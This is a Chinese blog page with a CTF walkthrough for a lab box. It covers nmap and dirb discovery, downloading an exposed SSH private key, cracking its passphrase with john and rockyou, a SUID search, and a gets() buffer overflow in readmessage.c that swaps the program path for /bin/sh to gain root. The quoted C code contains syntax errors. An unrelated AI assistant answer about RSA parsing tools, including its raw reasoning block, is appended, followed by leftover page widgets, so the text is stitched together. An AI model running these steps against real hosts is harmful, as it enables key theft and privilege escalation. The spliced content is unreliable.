CTF-SSH私钥泄露

第一步, nmap -sV 192.168.0.1 扫描 服务信息

    找到已经打开的端口。

第二步, 浏览器 192.168.0.1:31337 探看页面源代码。

    找到可能的隐藏的文件。

第三步, 探测端口信息 dirb http://192.168.0.1:31337/ 别忘了最后的"/"

    可以探测到隐藏的文件(浏览不到的文件)

第四步,SSH认证方式 : {‘id_rsa’,‘authorized_key’,‘id_rsa_pub’}

 下载 http://192.168.0.1:31337/.ssh/id_rsa

 下载 http://192.168.0.1:31337/.ssh/authorized_key

第五步, ssh -i id_rsa 用户名 (其中用户名,可从authorized_key 中获取)

             chmod  600 id_rsa

             ssh -i  id_rsa  simon@192.168.0.1

第六步, ssh2john id_rsa >rsacrack

             zcat  /usr/share/wordlists/rockyou.txt.gz | john --pipe --rules rsacrack    获取用户密码。

第七步 ssh -i id_rsa simon 然后输入第六步中的密码。

                登录至远程主机。

第八步 切换到 /root目录

            查看目录(目录权限可能受限)

第九步 find / -perm 4000 2 > /dev/null

               -perm  4000 表示可以有suid 权限的文件。

               2>/dev/null 表示标准错误至null

readmessage 与 溢出

readmessage.c 如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// You're getting close!   Here's another flag:
//flag2{use_the_source_luke}

int main(int argc, char *argv[]{
    char program[]="/usr/local/sbin/message";
    char buf[20];
    char authorized[]="simon";
    
    printf("what's your name ?\n");
    gets(buf);

//Only compare first five chars to save precious cycles:

if (!strncmp(authorized,buf,5))  {
    printf("Hello %s ! Here is your message:\n\n",buf);
    //This is safe as the user can't mess with the binary location:
    execve(program,null,null);
}else {
    printf("Sorry %s,you're not %s! The Internet Police have been informed of this voilation.\n",buf,authorized);

    exit(EXIT_FAILURE);

   }
}

第十步,执行readmessage,用户名xxxxx

则显示完成 (此步测试一下)

readmessage

What’s your name ?

xxxxx

"Sorry xxxxx,you’re not Simon!The Internet Police have been informed of this voilation.

第十一步,执行readmessage

readmessage

What’s your name ?

Simon

Hello Simon! Here is your message:

Hi Simon, I hope you like our private messaging system

I’m really happy with how it worked out!

If you’re interested in how it works,I’ve left a copy of the source code in my home directory.

-Charlie Root

第十二步:

readmessage

What’s your name ?

SimonAAAAAAAAAAAAAAA/bin/sh

( 其中 Simon 五字符, A共有15个, 一共占 20字符,后面即溢出至program去了。

Hello SimonAAAAAAAAAAAAAAA/bin/sh! Here is your message:

至此溢出完成,已跳转为root用户。
————————————————
版权声明:本文为优快云博主「早睡男」的原创文章,遵循CC 4.0 by-sa版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.youkuaiyun.com/weixin_40328085/article/details/97424419

<think>好的,用户现在问的是关于RSA解析工具。首先,我需要确定他具体需要什么。他可能需要对RSA密钥进行分析、转换或查看其内容。之前的对话中,用户询问了mbedtls是否支持SFM格式的密钥,现在转到RSA解析工具,可能是在处理密钥转换或分析时遇到了问题。 用户可能的情况是,他手头有RSA密钥文件,需要工具来查看其内容,或者转换格式,比如从PEM到DER,或者检查密钥的有效性。他可能不熟悉现有的工具,或者想了解有哪些可用的选项。 接下来,我需要考虑常见的RSA解析工具。OpenSSL肯定是首选,因为它功能强大且广泛使用。另外,可能有用户喜欢图形界面工具,比如在线工具或软件如PuTTYgen。还有编程库如Python的cryptography库,适合开发者在代码中处理密钥。其他工具如ssh-keygen和ASN.1解析工具也可能有用。 需要详细说明每个工具的使用方法,比如OpenSSL的命令行示例,如何查看密钥信息、转换格式、验证签名等。对于在线工具,要提醒用户注意安全性,避免上传敏感密钥。Python库的例子要给出代码片段,方便用户直接使用。 另外,用户可能关心如何检查密钥的格式是否正确,或者如何分解模数n为p和q,这时候需要提到RsaCtfTool之类的工具。还有密钥的编码问题,比如处理ASN.1结构,可能需要使用dumpasn1或类似工具。 要注意用户可能的错误操作,比如在转换格式时出错,或者密钥文件损坏,需要指导他们如何验证密钥的有效性。比如使用OpenSSL的rsa命令检查密钥,或者用ASN.1解析工具查看结构是否正确。 最后,要总结工具的选择建议,根据用户的技术水平和使用场景推荐不同的工具,比如命令行工具适合开发者,图形界面适合普通用户,编程库适合集成到应用中。同时强调安全性,尤其是在线工具的风险,确保用户在处理密钥时注意保护私钥不被泄露。 可能用户还需要知道如何处理特定问题,比如密钥格式转换失败,或者如何提取公钥,这些都需要在回答中涵盖。需要确保步骤清晰,示例准确,帮助用户逐步解决问题,符合之前提到的结构清晰、真实可靠的要求。</think>--- ### **RSA 解析工具分类与推荐** RSA 解析工具主要用于**查看密钥参数(n, e, d, p, q)**、**格式转换(PEM/DER/SSH)**、**验证签名/加密**或**分解模数n**。以下是常用工具及操作示例: --- ### **一、命令行工具** #### 1. **OpenSSL**(跨平台,功能最全) - **查看密钥信息**: ```bash # 查看 PEM 格式公钥的 n 和 e openssl rsa -pubin -in public.pem -text -noout # 解析 PEM 格式私钥的 p, q, d 等参数 openssl rsa -in private.pem -text -noout ``` - **格式转换**: ```bash # PEM 转 DER openssl rsa -in key.pem -outform DER -out key.der # DER 转 PEM(需明确是公钥还是私钥) openssl rsa -inform DER -in key.der -out key.pem ``` #### 2. **ssh-keygen**(SSH 密钥专用) - **提取公钥参数**: ```bash ssh-keygen -f private_rsa -y > public.pem # 生成公钥 ssh-keygen -l -f public.pem # 显示指纹和模数长度 ``` --- ### **二、图形化工具** #### 1. **在线解析工具** - **PKI Tools**([https://8gwifi.org/rsafunctions.jsp](https://8gwifi.org/rsafunctions.jsp)): - 支持粘贴 PEM 密钥直接解析 n/e/d/p/q。 - **ASN.1 Decoder**([https://lapo.it/asn1js/](https://lapo.it/asn1js/)): - 上传 DER 文件解析 ASN.1 结构(如 PKCS#1 编码的密钥)。 #### 2. **本地软件** - **PuTTYgen**(Windows): - 导入 `.ppk` 或 PEM 密钥,直观显示参数。 - **Keychain Access**(macOS): - 双击 `.pem` 文件直接查看公钥摘要。 --- ### **三、编程库** #### 1. **Python `cryptography` 库** ```python from cryptography.hazmat.primitives import serialization # 解析 PEM 私钥 with open("private.pem", "rb") as f: private_key = serialization.load_pem_private_key( f.read(), password=None ) print("Modulus (n):", private_key.private_numbers().public_numbers.n) print("Exponent (e):", private_key.private_numbers().public_numbers.e) ``` #### 2. **C 语言(mbedTLS 示例)** ```c #include "mbedtls/rsa.h" mbedtls_rsa_context rsa; mbedtls_rsa_init(&rsa, MBEDTLS_RSA_PKCS_V15, 0); // 加载 PEM 密钥 mbedtls_mpi_read_file(&rsa.N, 16, stdin); // 从文件读取模数 n mbedtls_mpi_read_file(&rsa.E, 16, stdin); // 读取公钥指数 e ``` --- ### **四、高级工具** #### 1. **分解模数 n** - **RsaCtfTool**([GitHub](https://github.com/Ganapati/RsaCtfTool)): ```bash # 尝试分解 n(需已知部分信息) python3 RsaCtfTool.py -n 12345... -e 65537 --attack pollard_p_1 ``` #### 2. **ASN.1 结构解析** - **dumpasn1**: ```bash dumpasn1 key.der # 显示 DER 文件的详细 ASN.1 结构 ``` --- ### **五、常见问题与验证** | 场景 | 工具/方法 | |--------------------------|--------------------------------------------------------------------------| | **密钥格式是否合法?** | `openssl rsa -in key.pem -check` | | **验证签名一致性** | `openssl dgst -sha256 -verify public.pem -signature sig.bin data.txt` | | **修复损坏的 PEM** | 检查头尾标记(`-----BEGIN RSA PRIVATE KEY-----`)或补全 Base64 编码 | --- ### **六、工具选择建议** - **开发者优先**:OpenSSL + Python `cryptography` 库(灵活性强)。 - **快速解析**:在线工具(注意**勿上传敏感私钥**)。 - **深度分析**:RsaCtfTool + ASN.1 Decoder(适合研究或 CTF 场景)。 如果需要解析**特定格式的密钥**(如 JWK、PKCS#8),请提供示例文件或编码片段。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值